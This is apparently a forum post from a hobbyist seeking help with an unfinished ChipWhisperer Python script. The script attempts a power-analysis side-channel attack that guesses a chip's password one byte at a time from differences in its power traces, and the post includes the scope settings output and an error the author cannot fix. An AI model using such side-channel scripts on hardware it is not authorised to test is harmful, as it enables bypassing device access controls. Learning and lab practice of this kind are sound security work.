I am reusing using code from the Power Analysis Password lab.
I have written 2 versions, if you will.
The first one tries only the first character of the password.
The second one tries all 8 bytes (using the same byte).
There is no enter key required. After the 8th bit the chip response with a BREAK signal.
There needs to be a slight pause between entering the password characters. You cannot spam all 8 at once.
Also, I’ve come to the conclusion that the password has to be a printable character, since the input dialog in the dev environment is a text box. This cuts down the guess considerably. Future versions will go back to alpha/numeric tries in the loop.
The target uses the same pin for RX/TX, so I have an adapter to convert those signals to RS232, and then from RS232 to TTL back to the CW. Big clunky mess.
The results are what I would call inconsistent.
I am not confident on my trigger, or the capture.
I am not confident on how I have the scope connected to the DUT. - Just a thin black wire soldered on to the bnc connector that came with the Lite kit 2 part, and that wire going to Measure and GND.
I got excited when the code finally ran that I have not removed the caps yet. Will do that.
Anyway, here is the latest iteration of the code. Can someone look at the trigger, the scope, and the plot to make sure I got this right? lol that sounds like the whole thing.
I’ve got 3 days into this script… Mostly learning python syntax…
Still getting error on the “rest_target(scope)”
190 power_cycle_target()
191 scope.arm()
--> 192 reset_target(scope)
193
194 #print(hex(ord(pass_guess)))
NameError: name 'reset_target' is not defined
OK Now the script…
import chipwhisperer as cw
import matplotlib.pyplot as plt
import numpy as np
import time
# Globals
# Characters to test, all 255 chars
totest = [ '\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\x09', '\x0a', '\x0b', '\x0c', '\x0d', '\x0e', '\x0f', \
'\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', \
'\x20', '\x21', '\x22', '\x23', '\x24', '\x25', '\x26', '\x27', '\x28', '\x29', '\x2a', '\x2b', '\x2c', '\x2d', '\x2e', '\x2f', \
'\x30', '\x31', '\x32', '\x33', '\x34', '\x35', '\x36', '\x37', '\x38', '\x39', '\x3a', '\x3b', '\x3c', '\x3d', '\x3e', '\x3f', \
'\x40', '\x41', '\x42', '\x43', '\x44', '\x45', '\x46', '\x47', '\x48', '\x49', '\x4a', '\x4b', '\x4c', '\x4d', '\x4e', '\x4f', \
'\x50', '\x51', '\x52', '\x53', '\x54', '\x55', '\x56', '\x57', '\x58', '\x59', '\x5a', '\x5b', '\x5c', '\x5d', '\x5e', '\x5f', \
'\x60', '\x61', '\x62', '\x63', '\x64', '\x65', '\x66', '\x67', '\x68', '\x69', '\x6a', '\x6b', '\x6c', '\x6d', '\x6e', '\x6f', \
'\x70', '\x71', '\x72', '\x73', '\x74', '\x75', '\x76', '\x77', '\x78', '\x79', '\x7a', '\x7b', '\x7c', '\x7d', '\x7e', '\x7f', \
'\x80', '\x81', '\x82', '\x83', '\x84', '\x85', '\x86', '\x87', '\x88', '\x89', '\x8a', '\x8b', '\x8c', '\x8d', '\x8e', '\x8f', \
'\x90', '\x91', '\x92', '\x93', '\x94', '\x95', '\x96', '\x97', '\x98', '\x99', '\x9a', '\x9b', '\x9c', '\x9d', '\x9e', '\x9f', \
'\xa0', '\xa1', '\xa2', '\xa3', '\xa4', '\xa5', '\xa6', '\xa7', '\xa8', '\xa9', '\xaa', '\xab', '\xac', '\xad', '\xae', '\xaf', \
'\xb0', '\xb1', '\xb2', '\xb3', '\xb4', '\xb5', '\xb6', '\xb7', '\xb8', '\xb9', '\xba', '\xbb', '\xbc', '\xbd', '\xbe', '\xbf', \
'\xc0', '\xc1', '\xc2', '\xc3', '\xc4', '\xc5', '\xc6', '\xc7', '\xc8', '\xc9', '\xca', '\xcb', '\xcc', '\xcd', '\xce', '\xcf', \
'\xd0', '\xd1', '\xd2', '\xd3', '\xd4', '\xd5', '\xd6', '\xd7', '\xd8', '\xd9', '\xda', '\xdb', '\xdc', '\xdd', '\xde', '\xdf', \
'\xe0', '\xe1', '\xe2', '\xe3', '\xe4', '\xe5', '\xe6', '\xe7', '\xe8', '\xe9', '\xea', '\xeb', '\xec', '\xed', '\xee', '\xef', \
'\xf0', '\xf1', '\xf2', '\xf3', '\xf4', '\xf5', '\xf6', '\xf7', '\xf8', '\xf9', '\xfa', '\xfb', '\xfc', '\xfd', '\xfe', '\xff' ]
guessed_pw = ""
trace = 0
ref_trace = 0
# Logic seems inverted..
ON = 0
OFF = 1
# Initialize CW
scope = cw.scope()
print("INFO: Found ChipWhisperer😍")
print(scope.get_serial_ports())
# Initialize Target
target = cw.target(scope)
target.baud = 19200
print("Target Baud =", target.baud)
# turn off the target
scope.io.tio3 = OFF
# Set scope defaults - Scope gain 45db, Scope capture 5000, Scope offset to 0, Sets scope trigger to rising edge
# 7.37mhz clock output on HS2, Clocks the scope ADC at 4*7.37MHz. Note that this is synchronous to the target
# clock on HS2. GPIO1 as RX, GPIO2 as TX
scope.default_setup()
# Lower sample rate to 500
scope.adc.samples = 500
# Set timeout to 10
scope.adc.timeout = 10
# Set int clock to 12Mhz
scope.clock.clkgen_freq = 12000000
# Set ext clock to 12Mhz
scope.clock.extclk_freq = 12000000
# Set scope trigger to tio3, the pin used for power cycling the DUT
# Well, tio3, the pin used for power cycling the DUT did not work as trigger. Using tio2
scope.trigger = "tio2"
# Set tio3 mode
scope.io.tio3 = "gpio_high"
# Set trigger mode
scope.adc.basic_mode = "low"
# Print Scope settings
print("scope.adc.state = ", scope.adc.state)
print("scope.adc.samples = ", scope.adc.samples)
print("scope.adc.timeout = ", scope.adc.timeout)
print("scope.adc.state = ", scope.adc.state)
print("scope.adc.offset = ", scope.adc.offset)
print("scope.adc.presamples = ", scope.adc.presamples)
print("scope.adc.basic_mode = ", scope.adc.basic_mode)
print("scope.adc.trig_count = ", scope.adc.trig_count)
print("scope.adc.fifo_fill_mode = ", scope.adc.fifo_fill_mode)
print("scope.clock.adc_src = ", scope.clock.adc_src)
print("scope.clock.adc_phase = ", scope.clock.adc_phase)
print("scope.clock.adc_freq = ", scope.clock.adc_freq)
print("scope.clock.adc_rate = ", scope.clock.adc_rate)
print("scope.clock.adc_locked = ", scope.clock.adc_locked)
print("scope.clock.freq_ctr = ", scope.clock.freq_ctr)
print("scope.clock.freq_ctr_src = ", scope.clock.freq_ctr_src)
print("scope.clock.clkgen_src = ", scope.clock.clkgen_src)
print("scope.clock.extclk_freq = ", scope.clock.extclk_freq)
print("scope.clock.clkgen_mul = ", scope.clock.clkgen_mul)
print("scope.clock.clkgen_div = ", scope.clock.clkgen_div)
print("scope.clock.clkgen_freq = ", scope.clock.clkgen_freq)
print("scope.clock.clkgen_locked = ", scope.clock.clkgen_locked)
print("scope.io.tio1 = ", scope.io.tio1)
print("scope.io.tio2 = ", scope.io.tio2)
print("scope.io.tio3 = ", scope.io.tio3)
print("scope.io.tio4 = ", scope.io.tio2)
print("scope.io.pdic = ", scope.io.pdic)
print("scope.io.pdid = ", scope.io.pdid)
print("scope.io.nrst = ", scope.io.nrst)
print("scope.io.glitch_hp = ", scope.io.glitch_hp)
print("scope.io.glitch_lp = ", scope.io.glitch_lp)
print("scope.io.extclk_src = ", scope.io.extclk_src)
print("scope.io.hs2 = ", scope.io.hs2)
print("scope.io.target_pwr = ", scope.io.target_pwr)
print("scope.io.tio_states = ", scope.io.tio_states)
print("scope.io.cdc_settings = ", scope.io.cdc_settings)
print("scope.trigger = ", scope.trigger)
#print("scope.trigger.tio1 = ", scope.trigger.tio1)
####################
# Define functions #
####################
def cap_pass_trace(pass_guess):
power_cycle_target()
scope.arm()
# This reset causes an error, comment out for now.
reset_target(scope)
#print(hex(ord(pass_guess)))
for _ in range(0,8):
target.write(pass_guess)
time.sleep(.750)
ret = scope.capture()
if ret:
print('Timeout happened during acquisition')
trace = scope.get_last_trace()
return trace
# Target is 5V might need to use a transistor and a GPIO
def power_cycle_target():
#print("OFF")
scope.io.tio3 = OFF
time.sleep(1.50)
#print("ON")
scope.io.tio3 = ON
time.sleep(1.00)
# Connect to TARGET
target = cw.target(scope, cw.targets.SimpleSerial) #cw.targets.SimpleSerial can be omitted
target.baud = 19200
# Run a sample test
%matplotlib inline
plt.figure()
ref_trace = cap_pass_trace("\x00")[0:500]
plt.plot(ref_trace)
other_trace = cap_pass_trace("\xce")[0:500]
plt.plot(other_trace)
scope.io.tio3 = OFF
#old code
#plt.figure()
#plt.plot(cap_pass_trace("\x00"))
#plt.plot(cap_pass_trace("\x01"))
plt.show()
# Do the password test...
#ref_trace = scope.get_last_trace()
#for _ in range(0, 8):
ref_trace = cap_pass_trace(guessed_pw + "\x00")
for c in totest:
trace = cap_pass_trace(guessed_pw + c)[0:500]
plt.plot(trace - ref_trace)
diff = np.sum(np.abs(trace - ref_trace))
print("{:1} diff = {:2}".format(hex(ord(c)), diff))
# Intentionally set high to see results
if diff > 37000.0:
guessed_pw += c
#print(guessed_pw)
print (" ".join(hex(ord(n)) for n in guessed_pw))
#print(hex(ord(n)) for n in guessed_pw)
break
# All done! Turn off the target
print("All done! Turning off the target.")
scope.io.tio3 = OFF
plt.show()
…
INFO: Found ChipWhisperer😍
[{'port': 'COM11', 'interface': '1'}]
Target Baud = 19200
scope.adc.state = False
scope.adc.samples = 5000
scope.adc.timeout = 10
scope.adc.state = False
scope.adc.offset = 0
scope.adc.presamples = 0
scope.adc.basic_mode = low
scope.adc.trig_count = 4636787
scope.adc.fifo_fill_mode = normal
scope.clock.adc_src = clkgen_x1
scope.clock.adc_phase = 0
scope.clock.adc_freq = 7731101
scope.clock.adc_rate = 7731101.0
scope.clock.adc_locked = True
scope.clock.freq_ctr = 110195
scope.clock.freq_ctr_src = extclk
scope.clock.clkgen_src = system
scope.clock.extclk_freq = 12000000
scope.clock.clkgen_mul = 2
scope.clock.clkgen_div = 16
scope.clock.clkgen_freq = 12000000.0
scope.clock.clkgen_locked = True
scope.io.tio1 = serial_rx
scope.io.tio2 = serial_tx
scope.io.tio3 = gpio_high
scope.io.tio4 = serial_tx
scope.io.pdic = high_z
scope.io.pdid = high_z
scope.io.nrst = high_z
scope.io.glitch_hp = False
scope.io.glitch_lp = False
scope.io.extclk_src = hs1
scope.io.hs2 = clkgen
scope.io.target_pwr = True
scope.io.tio_states = (1, 1, 1, 0)
scope.io.cdc_settings = bytearray(b'\x00\x00\x00\x00')
scope.trigger = tio2